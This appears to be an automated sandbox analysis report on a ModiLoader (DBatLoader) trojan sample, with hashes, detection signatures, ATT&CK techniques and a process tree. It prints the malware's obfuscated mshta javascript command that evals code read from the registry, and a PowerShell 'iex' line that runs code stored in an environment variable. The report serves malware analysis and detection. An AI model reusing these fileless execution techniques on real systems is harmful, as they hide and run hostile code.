modiloader | 11144876769ba20e6e361575697502a98052b1f3cd510ba70eb6b75824e09adf

Analysis

max time kernel
63s
max time network
65s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-06-2024 20:57

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General

Target

Unconfirmed_175655.exe
Size

377KB
MD5

648f4f03a8972d907c18031a1f3181e9
SHA1

369418d52aa47b0e9bf0b2f3ad3a8d057a86d82e
SHA256

11144876769ba20e6e361575697502a98052b1f3cd510ba70eb6b75824e09adf
SHA512

a04d20e9c1abbcf979eb9ed9485aa9362ff6175cdf298486bd031fbc629803ec625203545dd8f6c39219207af99400cc25e54e554191e3b98a1b0ee9b55e2f72
SSDEEP

6144:GjOqZB1XdvAHUSb4P2wJVXvMKH/i7a6qiu8OQOIOiNexjS:GlDdYHUScpJVXUKH/iW1DBioe

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3652 2680 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3652	2680	mshta.exe

ModiLoader Second Stage 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4828-3-0x0000000000400000-0x000000000043B000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-10-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-15-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-14-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-13-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-11-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-12-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-17-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-18-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2
behavioral1/memory/4828-44-0x000000000AE20000-0x000000000AEF6000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4756 powershell.exe
4756 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4756 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Unconfirmed_175655.exe

pid process

4828 Unconfirmed_175655.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
4756	powershell.exe
4756	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4756	powershell.exe

pid	process
4828	Unconfirmed_175655.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 3652 wrote to memory of 4756	3652	mshta.exe	powershell.exe
PID 3652 wrote to memory of 4756	3652	mshta.exe	powershell.exe
PID 3652 wrote to memory of 4756	3652	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Unconfirmed_175655.exe
"C:\Users\Admin\AppData\Local\Temp\Unconfirmed_175655.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:4828

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:VZ6c5Q="Kt";s5E8=new%20ActiveXObject("WScript.Shell");w99JBUBoc="2Qx457aI";C4aWq=s5E8.RegRead("HKLM\\software\\Wow6432Node\\EfGW5vtNh\\2Sxn8JS");H7QIwtov="KVD821M";eval(C4aWq);eoYz3tnE="3M0";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:nqswmisz
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4756

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p3atycip.1hx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4756-34-0x0000000005850000-0x0000000005BA4000-memory.dmp

Filesize
3.3MB

Download
memory/4756-36-0x0000000005D30000-0x0000000005D7C000-memory.dmp

Filesize
304KB

Download
memory/4756-21-0x00000000050D0000-0x00000000056F8000-memory.dmp

Filesize
6.2MB

Download
memory/4756-38-0x0000000006200000-0x000000000621A000-memory.dmp

Filesize
104KB

Download
memory/4756-22-0x0000000004F50000-0x0000000004F72000-memory.dmp

Filesize
136KB

Download
memory/4756-37-0x0000000007740000-0x0000000007DBA000-memory.dmp

Filesize
6.5MB

Download
memory/4756-35-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

Filesize
120KB

Download
memory/4756-23-0x0000000005770000-0x00000000057D6000-memory.dmp

Filesize
408KB

Download
memory/4756-24-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

Download
memory/4756-20-0x00000000025E0000-0x0000000002616000-memory.dmp

Filesize
216KB

Download
memory/4828-12-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-13-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-10-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-2-0x0000000002D90000-0x0000000002DA0000-memory.dmp

Filesize
64KB

Download
memory/4828-11-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-18-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-17-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-14-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-9-0x0000000002D90000-0x0000000002DA0000-memory.dmp

Filesize
64KB

Download
memory/4828-3-0x0000000000400000-0x000000000043B000-memory.dmp

Filesize
236KB

Download
memory/4828-16-0x00000000755C0000-0x00000000756E0000-memory.dmp

Filesize
1.1MB

Download
memory/4828-15-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download
memory/4828-41-0x0000000002D90000-0x0000000002DA0000-memory.dmp

Filesize
64KB

Download
memory/4828-42-0x0000000002D90000-0x0000000002DA0000-memory.dmp

Filesize
64KB

Download
memory/4828-44-0x000000000AE20000-0x000000000AEF6000-memory.dmp

Filesize
856KB

Download